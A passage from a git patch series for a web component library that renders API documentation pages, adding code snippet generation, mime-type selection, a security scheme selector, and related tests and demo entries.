} /** @@ -266,6 +323,9 @@ export default class ApiOperationDocumentElement extends ApiDocumentationBase { await this[queryResponses](); this[preselectResponse](); this[computeUrlValue](); + this[computeParametersValue](); + this[computeSnippetsPayload](); + this[computeSnippetsHeaders](); await this.requestUpdate(); } @@ -364,6 +424,156 @@ export default class ApiOperationDocumentElement extends ApiDocumentationBase { this[urlValue] = url; } + /** + * Computes query parameters for the code snippets. + */ + [computeParametersValue]() { + this[snippetsParametersValue] = undefined; + const { operation } = this; + if (!operation) { + return; + } + const { request } = operation; + if (!request) { + return; + } + const { queryParameters, queryString } = request; + /** @type ApiParameter[] */ + let params; + if (Array.isArray(queryParameters) && queryParameters.length) { + params = queryParameters; + } else if (queryString) { + const factory = new QueryParameterProcessor(); + const items = factory.collectOperationParameters(request.queryString, 'query'); + if (Array.isArray(items) && items.length) { + params = items.map(i => i.parameter); + } + } + if (!params || !params.length) { + return; + } + const qp = /** @type {Record} */ ({}); + params.forEach((param) => { + const { required, schema, paramName, name } = param; + if (!required) { + return; + } + const parameterName = paramName || name; + const anySchema = /** @type ApiAnyShape */ (schema); + const { defaultValueStr, examples=[] } = anySchema; + if (defaultValueStr) { + qp[parameterName] = defaultValueStr; + } else if (examples.length) { + const exp = examples.find(e => e.value); + if (exp) { + qp[parameterName] = exp.value; + } + } else { + const v = ApiSchemaValues.generateDefaultValue(/** @type ApiScalarShape */ (schema)); + if (typeof v === 'undefined') { + qp[parameterName] = ''; + } else { + qp[parameterName] = v; + } + } + }); + const value = UrlLib.applyUrlParameters('', qp, true); + this[snippetsParametersValue] = value; + } + + /** + * Computes payload value for the code snippets. + */ + [computeSnippetsPayload]() { + this[snippetsPayloadValue] = undefined + if (this.asyncApi) { + return; + } + const { operation, requestMimeType } = this; + if (!operation || !requestMimeType) { + return; + } + const { request } = operation; + if (!request) { + return; + } + const { payloads=[] } = request; + if (!payloads.length) { + return; + } + const payload = payloads.find(p => p.mediaType === requestMimeType); + if (!payload) { + return; + } + const { examples=[], schema } = payload; + let examplesCopy = [...examples]; + const anySchema = /** @type ApiAnyShape */ (schema); + if (Array.isArray(anySchema.examples) && anySchema.examples.length) { + examplesCopy = examplesCopy.concat(anySchema.examples); + } + examplesCopy = examplesCopy.filter((i) => !!i.value || !!i.structuredValue); + let payloadValue; + if (examplesCopy.length) { + const example = examplesCopy.find(e => !!e.value); + if (example) { + payloadValue = this[evaluateExample](example, requestMimeType); + } + } + if (!payloadValue) { + payloadValue = ApiSchemaGenerator.asExample(schema, requestMimeType, { + renderExamples: true, + renderOptional: true, + }); + } + if (payloadValue && payloadValue.renderValue) { + this[snippetsPayloadValue] = payloadValue.renderValue; + } + } + + /** + * Computes headers value for the code snippets. + */ + [computeSnippetsHeaders]() { + this[snippetsHeadersValue] = undefined; + if (this.asyncApi) { + return; + } + const { operation, requestMimeType } = this; + if (!operation) { + return; + } + const { request, method } = operation; + if (!request) { + return; + } + const { headers=[] } = request; + const parts = []; + let hasMime = false; + headers.forEach((param) => { + const { paramName, name, schema } = param; + if (!schema || !schema.types.includes(ns.aml.vocabularies.shapes.ScalarShape)) { + return; + } + const typedScalar = /** @type ApiScalarShape */ (schema); + let value = ApiSchemaValues.readInputValue(param, typedScalar, { fromExamples: true }); + if (Array.isArray(value)) { + value = value.join(','); + } + if (typeof value !== 'undefined') { + const headerName = paramName || name || ''; + if (headerName.toLowerCase() === 'content-type') { + hasMime = true; + } + const header = `${paramName || name}: ${value}`; + parts.push(header); + } + }); + if (!hasMime && requestMimeType && method !== 'get') { + parts.push(`content-type: ${requestMimeType}`); + } + this[snippetsHeadersValue] = parts.join('\n'); + } + /** * A handler for the status code tab selection. * @param {Event} e @@ -397,6 +607,18 @@ export default class ApiOperationDocumentElement extends ApiDocumentationBase { }); } + /** + * A handler for the request panel mime type change. + * @param {Event} e + */ + [requestMimeChangeHandler](e) { + const panel = /** @type ApiRequestDocumentElement */ (e.target); + this.requestMimeType = panel.mimeType; + this[computeSnippetsPayload](); + this[computeSnippetsHeaders](); + this.requestUpdate(); + } + render() { if (!this[operationValue]) { return html``; @@ -413,6 +635,7 @@ export default class ApiOperationDocumentElement extends ApiDocumentationBase { ${this[customDomainPropertiesTemplate](this[operationValue].customDomainProperties)} ${this[requestTemplate]()} ${this[callbacksTemplate]()} + ${this[snippetsTemplate]()} ${this[responseTemplate]()} ${this[securitySectionTemplate]()} `; @@ -553,6 +776,7 @@ export default class ApiOperationDocumentElement extends ApiDocumentationBase { payloadOpened headersOpened parametersOpened + @mimechange="${this[requestMimeChangeHandler]}" > `; } @@ -657,8 +881,8 @@ export default class ApiOperationDocumentElement extends ApiDocumentationBase { * @returns {TemplateResult|string} The template for the security list section. */ [securitySectionTemplate]() { - const { operation } = this; - if (!operation || !Array.isArray(operation.security) || !operation.security.length) { + const { operation, renderSecurity } = this; + if (!renderSecurity || !operation || !Array.isArray(operation.security) || !operation.security.length) { return ''; } const content = operation.security.map((model) => html``); @@ -681,4 +905,25 @@ export default class ApiOperationDocumentElement extends ApiDocumentationBase { >Try it `; } + + /** + * @returns {TemplateResult|string} The template for the code snippets. + */ + [snippetsTemplate]() { + if (!this.renderCodeSnippets || this.asyncApi) { + return ''; + } + const { operation } = this; + const content = html` + + `; + return this[paramsSectionTemplate]('Code snippets', 'snippetsOpened', content); + } } diff --git a/src/elements/ApiRequestDocumentElement.js b/src/elements/ApiRequestDocumentElement.js index 6de5cac..9eb2338 100644 --- a/src/elements/ApiRequestDocumentElement.js +++ b/src/elements/ApiRequestDocumentElement.js @@ -33,6 +33,8 @@ export const requestValue = Symbol('requestValue'); export const queryPayloads = Symbol('queryPayloads'); export const payloadsValue = Symbol('payloadsValue'); export const payloadValue = Symbol('payloadValue'); +export const notifyMime = Symbol('notifyMime'); +export const preselectMime = Symbol('preselectMime'); export const queryParamsTemplate = Symbol('queryParamsTemplate'); export const headersTemplate = Symbol('headersTemplate'); export const cookiesTemplate = Symbol('cookiesTemplate'); @@ -224,6 +226,7 @@ export default class ApiRequestDocumentElement extends ApiDocumentationBase { this.mimeType = undefined; await this[queryPayloads](); await this[processQueryParameters](); + await this[preselectMime](); await this.requestUpdate(); } @@ -254,6 +257,37 @@ export default class ApiRequestDocumentElement extends ApiDocumentationBase { this[queryParametersValue] = params; } + /** + * Pre-selects when needed the mime type for the current payload. + */ + [preselectMime]() { + const { mimeType } = this; + const payloads = this[payloadsValue]; + if (!Array.isArray(payloads) || !payloads.length) { + return; + } + const mime = /** @type string[] */ ([]); + let hasCurrent = false; + payloads.forEach((item) => { + if (item.mediaType) { + mime.push(item.mediaType); + if (!hasCurrent && item.mediaType === mimeType) { + hasCurrent = true; + } + } + }); + // do not change the selection when already exist. + if (hasCurrent) { + return; + } + if (!mime.length) { + return; + } + const [first] = mime; + this.mimeType = first; + this[notifyMime](); + } + /** * @param {Event} e */ @@ -265,6 +299,14 @@ export default class ApiRequestDocumentElement extends ApiDocumentationBase { } const mime = selectedItem.dataset.value; this.mimeType = mime; + this[notifyMime](); + } + + /** + * Dispatches the `mimechange` event. + */ + [notifyMime]() { + this.dispatchEvent(new Event('mimechange')); } render() { From de3e8f6c7315bfe5ffb3cf4654e59b707f306d0e Mon Sep 17 00:00:00 2001 From: Pawel Psztyc Date: Sun, 3 Oct 2021 18:35:38 -0700 Subject: [PATCH 19/24] test: adding operation's SE and APIC test cases Signed-off-by: Pawel Psztyc --- demo/api-operation.js | 3 +- src/elements/ApiOperationDocumentElement.js | 20 +- src/elements/ApiRequestDocumentElement.js | 20 +- .../ApiOperationDocumentElement.test.js | 217 ++++++++++++++++++ 4 files changed, 236 insertions(+), 24 deletions(-) diff --git a/demo/api-operation.js b/demo/api-operation.js index d2f672a..9c254c6 100644 --- a/demo/api-operation.js +++ b/demo/api-operation.js @@ -237,7 +237,8 @@ class ComponentPage extends AmfDemoBase { ['SE-11508', 'SE-11508'], ['SE-12957', 'SE-12957: OAS query parameters documentation'], ['SE-11415', 'SE-11415'], - ['SE-12752', 'SE-12752: Query string (SE-12752)'], + ['SE-12752', 'SE-12752: Query string'], + ['SE-12957', 'SE-12957'], ['SE-12959', 'SE-12959: OAS summary field'], ].forEach(([file, label]) => { result[result.length] = html` diff --git a/src/elements/ApiOperationDocumentElement.js b/src/elements/ApiOperationDocumentElement.js index dd8510b..82b48d6 100644 --- a/src/elements/ApiOperationDocumentElement.js +++ b/src/elements/ApiOperationDocumentElement.js @@ -333,16 +333,17 @@ export default class ApiOperationDocumentElement extends ApiDocumentationBase { * Queries for the API operation's endpoint data. */ async [queryEndpoint]() { - const { domainId, amf } = this; + const { domainId, amf, operation } = this; this[endpointValue] = undefined; - if (!domainId || !amf) { + const id = domainId || operation && operation.id; + if (!id || !amf) { return; } const wa = this._computeApi(amf); if (!wa) { return; } - const model = this._computeMethodEndpoint(wa, domainId); + const model = this._computeMethodEndpoint(wa, id); if (!model) { return; } @@ -469,12 +470,15 @@ export default class ApiOperationDocumentElement extends ApiDocumentationBase { qp[parameterName] = exp.value; } } else { - const v = ApiSchemaValues.generateDefaultValue(/** @type ApiScalarShape */ (schema)); - if (typeof v === 'undefined') { - qp[parameterName] = ''; - } else { - qp[parameterName] = v; + const value = ApiSchemaValues.generateDefaultValue(/** @type ApiScalarShape */ (schema)); + if (value || value === false || value === 0 || value === null) { + qp[parameterName] = value; } + // if (typeof value === 'undefined') { + // qp[parameterName] = ''; + // } else { + // qp[parameterName] = value; + // } } }); const value = UrlLib.applyUrlParameters('', qp, true); diff --git a/src/elements/ApiRequestDocumentElement.js b/src/elements/ApiRequestDocumentElement.js index 9eb2338..0efdc33 100644 --- a/src/elements/ApiRequestDocumentElement.js +++ b/src/elements/ApiRequestDocumentElement.js @@ -43,7 +43,6 @@ export const payloadSelectorTemplate = Symbol('payloadSelectorTemplate'); export const mediaTypeSelectHandler = Symbol('mediaTypeSelectHandler'); export const processQueryParameters = Symbol('processQueryParameters'); export const queryParametersValue = Symbol('queryParametersValue'); -export const queryStringTemplate = Symbol('queryStringTemplate'); /** * A web component that renders the documentation page for an API request object. @@ -317,7 +316,6 @@ export default class ApiRequestDocumentElement extends ApiDocumentationBase { return html` ${this[queryParamsTemplate]()} - ${this[queryStringTemplate]()} ${this[headersTemplate]()} ${this[cookiesTemplate]()} ${this[payloadTemplate]()} @@ -337,20 +335,12 @@ export default class ApiRequestDocumentElement extends ApiDocumentationBase { if (request && Array.isArray(request.queryParameters)) { queryParameters = request.queryParameters; } - const all = uriParameters.concat(queryParameters); - const content = all.map((param) => this[schemaItemTemplate](param, 'query')); - return this[paramsSectionTemplate]('Parameters', 'parametersOpened', content); - } - - /** - * @return {TemplateResult|string} The template for the query parameters built form the query string. - */ - [queryStringTemplate]() { - if (!this.hasQueryString || this.hasQueryParameters) { - return ''; + if (!queryParameters.length && this[queryParametersValue] && this[queryParametersValue].length) { + queryParameters = this[queryParametersValue].map(i => i.parameter); } - const params = this[queryParametersValue]; - const content = params.map((param) => this[schemaItemTemplate](param.parameter, 'query-string')); + const content = []; + uriParameters.forEach(param => content.push(this[schemaItemTemplate](param, 'uri'))); + queryParameters.forEach(param => content.push(this[schemaItemTemplate](param, 'query'))); return this[paramsSectionTemplate]('Parameters', 'parametersOpened', content); } diff --git a/test/elements/ApiOperationDocumentElement.test.js b/test/elements/ApiOperationDocumentElement.test.js index 387fb23..9ebad2d 100644 --- a/test/elements/ApiOperationDocumentElement.test.js +++ b/test/elements/ApiOperationDocumentElement.test.js @@ -1,8 +1,11 @@ import { fixture, assert, html, nextFrame, aTimeout } from '@open-wc/testing'; import { AmfLoader } from '../AmfLoader.js'; import '../../api-operation-document.js'; +import '../../api-request-document.js'; /** @typedef {import('../../').ApiOperationDocumentElement} ApiOperationDocumentElement */ +/** @typedef {import('../../').ApiRequestDocumentElement} ApiRequestDocumentElement */ +/** @typedef {import('../../').ApiParameterDocumentElement} ApiParameterDocumentElement */ /** @typedef {import('@api-components/amf-helper-mixin').AmfDocument} AmfDocument */ /** @typedef {import('@api-components/amf-helper-mixin').DomainElement} DomainElement */ /** @typedef {import('@api-components/amf-helper-mixin').Operation} Operation */ @@ -26,6 +29,39 @@ describe('ApiOperationDocumentElement', () => { return /** @type ApiOperationDocumentElement */ (element); } + /** + * @param {AmfDocument} amf + * @param {Operation=} shape + * @returns {Promise} + */ + async function snippetsFixture(amf, shape) { + const element = await fixture(html``); + await aTimeout(0); + return /** @type ApiOperationDocumentElement */ (element); + } + + /** + * @param {AmfDocument} amf + * @param {Operation=} shape + * @returns {Promise} + */ + async function asyncFixture(amf, shape) { + const element = await fixture(html``); + await aTimeout(0); + return /** @type ApiOperationDocumentElement */ (element); + } + [false, true].forEach((compact) => { describe(compact ? 'Compact model' : 'Full model', () => { describe('response status codes', () => { @@ -76,6 +112,187 @@ describe('ApiOperationDocumentElement', () => { assert.equal(response.response.statusCode, '204', 'the response element has the new status code'); }); }); + + describe('SE-12752 - query string', () => { + /** @type AmfDocument */ + let model; + before(async () => { + model = await loader.getGraph(compact, 'SE-12752'); + }); + + it('renders parameters table with query parameters as a NodeShape', async () => { + const data = loader.lookupOperation(model, '/test', 'get'); + const element = await basicFixture(model, data); + const requestDoc = /** @type HTMLElement */ (element.shadowRoot.querySelector('api-request-document')); + const params = requestDoc.shadowRoot.querySelectorAll('api-parameter-document[data-name="query"]'); + assert.lengthOf(params, 2, 'has both parameters from the query string'); + }); + + it('renders parameters table with query parameters as an ArrayShape', async () => { + const data = loader.lookupOperation(model, '/array', 'get'); + const element = await basicFixture(model, data); + const requestDoc = /** @type HTMLElement */ (element.shadowRoot.querySelector('api-request-document')); + const params = requestDoc.shadowRoot.querySelectorAll('api-parameter-document[data-name="query"]'); + assert.lengthOf(params, 1, 'has the single parameter item'); + }); + + it('renders parameters table with query parameters as an UnionShape', async () => { + const data = loader.lookupOperation(model, '/union', 'get'); + const element = await basicFixture(model, data); + const requestDoc = /** @type HTMLElement */ (element.shadowRoot.querySelector('api-request-document')); + const params = requestDoc.shadowRoot.querySelectorAll('api-parameter-document[data-name="query"]'); + assert.lengthOf(params, 2, 'has both parameters from the query string'); + }); + + it('renders parameters table with query parameters as an ScalarShape', async () => { + const data = loader.lookupOperation(model, '/scalar', 'get'); + const element = await basicFixture(model, data); + const requestDoc = /** @type HTMLElement */ (element.shadowRoot.querySelector('api-request-document')); + const params = requestDoc.shadowRoot.querySelectorAll('api-parameter-document[data-name="query"]'); + assert.lengthOf(params, 1, 'has the single parameter item'); + }); + }); + + describe('SE-12957', () => { + /** @type AmfDocument */ + let model; + before(async () => { + model = await loader.getGraph(compact, 'SE-12957'); + }); + + /** @type ApiOperationDocumentElement */ + let element; + /** @type ApiRequestDocumentElement */ + let request; + beforeEach(async () => { + const data = loader.lookupOperation(model, '/api/v1/alarm/{scada-object-key}', 'get'); + element = await basicFixture(model, data); + request = element.shadowRoot.querySelector('api-request-document'); + }); + + it('renders all parameters', async () => { + const params = request.shadowRoot.querySelectorAll('api-parameter-document'); + assert.lengthOf(params, 2); + }); + + it('renders the query parameter', async () => { + const params = request.shadowRoot.querySelectorAll('api-parameter-document[data-name="query"]'); + assert.lengthOf(params, 1, 'has a single query parameter'); + const param = /** @type ApiParameterDocumentElement */ (params[0]); + assert.equal(param.parameter.name, 'time-on', 'has the model defined parameter'); + }); + + it('renders the path parameter', async () => { + const params = request.shadowRoot.querySelectorAll('api-parameter-document[data-name="uri"]'); + assert.lengthOf(params, 1, 'has a single path parameter'); + const param = /** @type ApiParameterDocumentElement */ (params[0]); + assert.equal(param.parameter.name, 'scada-object-key', 'has the model defined parameter'); + }); + }); + + describe('SE-12959: Summary rendering', () => { + /** @type AmfDocument */ + let model; + before(async () => { + model = await loader.getGraph(compact, 'SE-12959'); + }); + + it('has no summary by default', async () => { + const data = loader.lookupOperation(model, '/api/v1/alarm/{scada-object-key}', 'get'); + const element = await basicFixture(model, data); + const summary = element.shadowRoot.querySelector('.summary'); + assert.notOk(summary, 'has no summary field'); + }); + + it('renders the summary', async () => { + const data = loader.lookupOperation(model, '/api/v1/downtime/site/{site-api-key}', 'get'); + const element = await basicFixture(model, data); + const summary = element.shadowRoot.querySelector('.summary'); + assert.ok(summary, 'has the summary field'); + assert.equal(summary.textContent.trim(), 'Get a list of downtime events for a site that overlap with a time period'); + }); + }); + + describe('APIC-553: Code snippets query parameters', () => { + /** @type AmfDocument */ + let model; + before(async () => { + model = await loader.getGraph(compact, 'APIC-553'); + }); + + it('sets the code snippets with endpoint uri and no query params', async () => { + const data = loader.lookupOperation(model, '/cmt', 'get'); + const element = await snippetsFixture(model, data); + assert.equal(element.snippetsUri, 'http://domain.org/cmt'); + assert.equal(element.shadowRoot.querySelector('http-code-snippets').url, 'http://domain.org/cmt'); + }); + + it('sets the code snippets with endpoint uri and a query params', async () => { + const data = loader.lookupOperation(model, '/cmt-with-qp-example', 'get'); + const element = await snippetsFixture(model, data); + assert.equal(element.snippetsUri, 'http://domain.org/cmt-with-qp-example?orx=foo'); + assert.equal(element.shadowRoot.querySelector('http-code-snippets').url, 'http://domain.org/cmt-with-qp-example?orx=foo'); + }); + }); + + describe('APIC-582: Async API rendering', () => { + /** @type AmfDocument */ + let model; + before(async () => { + model = await loader.getGraph(compact, 'APIC-582'); + }); + + it('does not render code snippets', async () => { + const data = loader.lookupOperation(model, 'user/signedup', 'subscribe'); + const element = await asyncFixture(model, data); + const node = element.shadowRoot.querySelector('http-code-snippets'); + assert.notOk(node); + }); + + it('does not render request parameters', async () => { + const data = loader.lookupOperation(model, 'user/signedup', 'subscribe'); + const element = await snippetsFixture(model, data); + const requestDoc = /** @type HTMLElement */ (element.shadowRoot.querySelector('api-request-document')); + const params = requestDoc.shadowRoot.querySelectorAll('.params-section'); + assert.lengthOf(params, 0); + }); + }); + + describe('APIC-650: Path parameters', () => { + /** @type AmfDocument */ + let model; + before(async () => { + model = await loader.getGraph(compact, 'APIC-650'); + }); + + /** @type ApiOperationDocumentElement */ + let element; + /** @type ApiRequestDocumentElement */ + let request; + beforeEach(async () => { + const data = loader.lookupOperation(model, '/testEndpoint1/{uriParam1}', 'get'); + element = await basicFixture(model, data); + request = element.shadowRoot.querySelector('api-request-document'); + }); + + it('renders path parameter for the endpoint', () => { + const params = request.shadowRoot.querySelectorAll('api-parameter-document[data-name="uri"]'); + assert.lengthOf(params, 1, 'has a single path parameter'); + const param = /** @type ApiParameterDocumentElement */ (params[0]); + assert.equal(param.parameter.name, 'uriParam1'); + }); + + it('endpointVariables updated after selection changes', async () => { + const data = loader.lookupOperation(model, '/testEndpoint2/{uriParam2}', 'get'); + element.domainModel = data; + await aTimeout(1); + + const params = request.shadowRoot.querySelectorAll('api-parameter-document[data-name="uri"]'); + assert.lengthOf(params, 1, 'has a single path parameter'); + const param = /** @type ApiParameterDocumentElement */ (params[0]); + assert.equal(param.parameter.name, 'uriParam2'); + }); + }); }); }); }); From a0eef4a9bcbda9d72b216c9d7553d313442cea71 Mon Sep 17 00:00:00 2001 From: Pawel Psztyc Date: Mon, 4 Oct 2021 01:53:47 -0700 Subject: [PATCH 20/24] chore: finishing the operation element and tests Signed-off-by: Pawel Psztyc --- .vscode/settings.json | 1 + api-request-document.d.ts | 2 +- demo/api-operation.js | 4 +- demo/apis/oas-api/Petstore-v2.yaml | 2 + .../ApiChannelDocumentationElement.js | 1 + src/elements/ApiDocumentationBase.js | 3 +- src/elements/ApiOperationDocumentElement.js | 141 +++++- src/elements/ApiPayloadDocumentElement.js | 2 +- src/elements/ApiRequestDocumentElement.js | 2 +- .../ApiResourceDocumentationElement.js | 1 + src/elements/ApiResponseDocumentElement.js | 4 +- src/elements/ApiSecurityDocumentElement.js | 5 +- .../ApiSecurityRequirementDocumentElement.js | 11 +- src/elements/SchemaCommonTemplates.js | 10 +- src/elements/styles/ApiSecurityRequirement.js | 7 + .../ApiOperationDocumentElement.test.js | 455 ++++++++++++++++++ 16 files changed, 631 insertions(+), 20 deletions(-) create mode 100644 src/elements/styles/ApiSecurityRequirement.js diff --git a/.vscode/settings.json b/.vscode/settings.json index d4f2a32..db32495 100644 --- a/.vscode/settings.json +++ b/.vscode/settings.json @@ -10,6 +10,7 @@ "Nexmo", "notryit", "serverscountchanged", + "signedup", "stevetest", "Tryit", "Unionable", diff --git a/api-request-document.d.ts b/api-request-document.d.ts index 9d36513..631c54a 100644 --- a/api-request-document.d.ts +++ b/api-request-document.d.ts @@ -1,4 +1,4 @@ -import Element from './src/elements/AmfRequestDocumentElement'; +import Element from './src/elements/ApiRequestDocumentElement'; declare global { interface HTMLElementTagNameMap { diff --git a/demo/api-operation.js b/demo/api-operation.js index 9c254c6..e8b30a4 100644 --- a/demo/api-operation.js +++ b/demo/api-operation.js @@ -165,6 +165,7 @@ class ComponentPage extends AmfDemoBase { ?tryIt="${tryIt}" ?renderCodeSnippets="${renderCodeSnippets}" ?renderSecurity="${renderSecurity}" + ?anypoint="${this.compatibility}" @tryit="${this.tryitHandler}" > @@ -217,7 +218,8 @@ class ComponentPage extends AmfDemoBase { ['multi-server', 'Multiple servers'], ['nexmo-sms-api', 'Nexmo SMS API'], ['appian-api', 'Applian API'], - ['async-api', 'async-api'], + ['async-api', 'Async API'], + ['Petstore-v2', 'Petstore OAS API'], ['api-keys', 'API key (OAS)'], ['oauth-flows', 'OAuth 2 flows'], ['oas-bearer', 'Bearer token'], diff --git a/demo/apis/oas-api/Petstore-v2.yaml b/demo/apis/oas-api/Petstore-v2.yaml index 42ea086..63dca45 100644 --- a/demo/apis/oas-api/Petstore-v2.yaml +++ b/demo/apis/oas-api/Petstore-v2.yaml @@ -25,6 +25,8 @@ paths: description: | Returns all pets from the system that the user has access to operationId: findPets + summary: Finds pets by tag + deprecated: true parameters: - name: tags in: query diff --git a/src/elements/ApiChannelDocumentationElement.js b/src/elements/ApiChannelDocumentationElement.js index 8051a9c..165557d 100644 --- a/src/elements/ApiChannelDocumentationElement.js +++ b/src/elements/ApiChannelDocumentationElement.js @@ -86,6 +86,7 @@ export default class ApiChannelDocumentationElement extends ApiResourceDocumenta data-domain-id="${operation.id}" responsesOpened asyncApi + ?anypoint="${this.anypoint}" class="operation">`; } } diff --git a/src/elements/ApiDocumentationBase.js b/src/elements/ApiDocumentationBase.js index 2300589..6f1f25b 100644 --- a/src/elements/ApiDocumentationBase.js +++ b/src/elements/ApiDocumentationBase.js @@ -237,7 +237,7 @@ export class ApiDocumentationBase extends AmfHelperMixin(LitElement) { [sectionToggleTemplate](ctrlProperty) { const label = this[ctrlProperty] ? 'Hide' : 'Show'; return html` - + ${label} `; @@ -284,6 +284,7 @@ export class ApiDocumentationBase extends AmfHelperMixin(LitElement) { .parameter="${model}" class="property-item" data-name="${ifDefined(dataName)}" + ?anypoint="${this.anypoint}" > `; } diff --git a/src/elements/ApiOperationDocumentElement.js b/src/elements/ApiOperationDocumentElement.js index 82b48d6..e163578 100644 --- a/src/elements/ApiOperationDocumentElement.js +++ b/src/elements/ApiOperationDocumentElement.js @@ -38,6 +38,7 @@ import '../../api-security-requirement-document.js'; /** @typedef {import('@api-components/amf-helper-mixin').ApiAnyShape} ApiAnyShape */ /** @typedef {import('@api-components/amf-helper-mixin').ApiParameter} ApiParameter */ /** @typedef {import('@api-components/amf-helper-mixin').ApiScalarShape} ApiScalarShape */ +/** @typedef {import('@api-components/amf-helper-mixin').ApiSecurityRequirement} ApiSecurityRequirement */ /** @typedef {import('@anypoint-web-components/anypoint-tabs').AnypointTabs} AnypointTabs */ /** @typedef {import('./ApiRequestDocumentElement').default} ApiRequestDocumentElement */ @@ -59,6 +60,7 @@ export const snippetsPayloadValue = Symbol('snippetsPayloadValue'); export const snippetsHeadersValue = Symbol('snippetsHeadersValue'); export const baseUriValue = Symbol('baseUriValue'); export const preselectResponse = Symbol('preselectResponse'); +export const preselectSecurity = Symbol('preselectSecurity'); export const requestMimeChangeHandler = Symbol('requestMimeChangeHandler'); export const titleTemplate = Symbol('titleTemplate'); export const traitsTemplate = Symbol('extendsTemplate'); @@ -70,6 +72,7 @@ export const responseTabsTemplate = Symbol('responseTabsTemplate'); export const responseContentTemplate = Symbol('responseContentTemplate'); export const statusCodeHandler = Symbol('statusCodeHandler'); export const securitySectionTemplate = Symbol('securitySectionTemplate'); +export const securityTemplate = Symbol('securityTemplate'); export const deprecatedTemplate = Symbol('deprecatedTemplate'); export const metaDataTemplate = Symbol('metaDataTemplate'); export const tryItTemplate = Symbol('tryItTemplate'); @@ -77,6 +80,9 @@ export const tryItHandler = Symbol('tryItHandler'); export const callbacksTemplate = Symbol('callbacksTemplate'); export const callbackTemplate = Symbol('callbackTemplate'); export const snippetsTemplate = Symbol('snippetsTemplate'); +export const securitySelectorTemplate = Symbol('securitySelectorTemplate'); +export const securitySelectionHandler = Symbol('securitySelectionHandler'); +export const securityTabTemplate = Symbol('securityTabTemplate'); /** * A web component that renders the documentation page for an API operation built from @@ -110,6 +116,13 @@ export default class ApiOperationDocumentElement extends ApiDocumentationBase { this.requestUpdate(); } + /** + * @returns {ApiServer[]|undefined} The computed list of servers. + */ + get servers() { + return this[serversValue]; + } + /** * @returns {ApiServer|undefined} The current server in use. */ @@ -188,6 +201,13 @@ export default class ApiOperationDocumentElement extends ApiDocumentationBase { this.requestUpdate(); } + /** + * @returns {string|undefined} The computed URI for the endpoint. + */ + get endpointUri() { + return this[urlValue]; + } + /** * @returns {string} */ @@ -197,6 +217,13 @@ export default class ApiOperationDocumentElement extends ApiDocumentationBase { return `${base}${query}` } + /** + * @returns {ApiResponse[]|undefined} The computed list of responses for this operation. + */ + get responses() { + return this[responsesValue]; + } + static get properties() { return { /** @@ -209,6 +236,11 @@ export default class ApiOperationDocumentElement extends ApiDocumentationBase { * If not set a first server in the API servers array is used. */ serverId: { type: String, reflect: true }, + /** + * The domain id of the currently selected security to render. + * This is only used when a multiple security schemes are applied to the operation. + */ + securityId: { type: String, reflect: true }, /** * When set it opens the response section */ @@ -300,6 +332,8 @@ export default class ApiOperationDocumentElement extends ApiDocumentationBase { this[snippetsPayloadValue] = undefined; /** @type {string} */ this[snippetsHeadersValue] = undefined; + /** @type {string} */ + this.securityId = undefined; } /** @@ -322,6 +356,7 @@ export default class ApiOperationDocumentElement extends ApiDocumentationBase { await this[queryServers](); await this[queryResponses](); this[preselectResponse](); + this[preselectSecurity](); this[computeUrlValue](); this[computeParametersValue](); this[computeSnippetsPayload](); @@ -409,6 +444,26 @@ export default class ApiOperationDocumentElement extends ApiDocumentationBase { this.selectedStatus = responses[0].statusCode; } + /** + * Updates the `securityId` if not selected or the current selection doesn't + * exists in the current list of security. + */ + [preselectSecurity]() { + const { operation, renderSecurity, securityId } = this; + if (!renderSecurity || !operation || !Array.isArray(operation.security) || !operation.security.length) { + return; + } + if (!securityId) { + this.securityId = operation.security[0].id; + return; + } + const selected = operation.security.find((item) => item.id === securityId); + if (selected) { + return; + } + this.securityId = operation.security[0].id; + } + /** * Computes the URL value for the current serves, selected server, and endpoint's path. */ @@ -587,6 +642,15 @@ export default class ApiOperationDocumentElement extends ApiDocumentationBase { this.selectedStatus = String(tabs.selected); } + /** + * A handler for the status code tab selection. + * @param {Event} e + */ + [securitySelectionHandler](e) { + const tabs = /** @type AnypointTabs */ (e.target); + this.securityId = String(tabs.selected); + } + /** * A handler for the try it button click. * It dispatches the `tryit` custom event. @@ -716,9 +780,8 @@ export default class ApiOperationDocumentElement extends ApiDocumentationBase { const { operationId, } = operation; const result = []; if (operationId) { - result.push(tablePropertyTemplate('Operation ID', operationId)); + result.push(tablePropertyTemplate('Operation ID', operationId, 'operation-id')); } - if (result.length) { return result; } @@ -780,6 +843,7 @@ export default class ApiOperationDocumentElement extends ApiDocumentationBase { payloadOpened headersOpened parametersOpened + ?anypoint="${this.anypoint}" @mimechange="${this[requestMimeChangeHandler]}" > `; @@ -843,7 +907,7 @@ export default class ApiOperationDocumentElement extends ApiDocumentationBase { * @returns {TemplateResult} The template for the responses selector. */ [responseTabsTemplate](responses) { - const { selectedStatus } = this; + const { selectedStatus, anypoint } = this; const filtered = responses.filter((item) => !!item.statusCode); return html`
    @@ -852,8 +916,9 @@ export default class ApiOperationDocumentElement extends ApiDocumentationBase { .selected="${selectedStatus}" attrForSelected="data-status" @selected="${this[statusCodeHandler]}" + ?compatibility="${anypoint}" > - ${filtered.map((item) => html`${item.statusCode}`)} + ${filtered.map((item) => html`${item.statusCode}`)}
    @@ -876,6 +941,7 @@ export default class ApiOperationDocumentElement extends ApiDocumentationBase { .response="${response}" headersOpened payloadOpened + ?anypoint="${this.anypoint}" class="method-response" > `; @@ -885,14 +951,77 @@ export default class ApiOperationDocumentElement extends ApiDocumentationBase { * @returns {TemplateResult|string} The template for the security list section. */ [securitySectionTemplate]() { - const { operation, renderSecurity } = this; + const { operation, renderSecurity, securityId } = this; if (!renderSecurity || !operation || !Array.isArray(operation.security) || !operation.security.length) { return ''; } - const content = operation.security.map((model) => html``); + const { security } = operation; + const content = []; + if (security.length === 1) { + content.push(this[securityTemplate](security[0])); + } else if (securityId) { + content.push(this[securitySelectorTemplate]()); + const item = security.find(i => i.id === securityId); + if (item) { + content.push(this[securityTemplate](item)); + } + // security.forEach((model) => content.push(this[securityTemplate](model))); + } return this[paramsSectionTemplate]('Security', 'securityOpened', content); } + /** + * @param {ApiSecurityRequirement} security + * @returns {TemplateResult} + */ + [securityTemplate](security) { + return html`` + } + + /** + * @returns {TemplateResult} + */ + [securitySelectorTemplate]() { + const { operation, securityId, anypoint } = this; + const { security } = operation; + return html` +
    + + ${security.map((item) => this[securityTabTemplate](item))} + +
    +
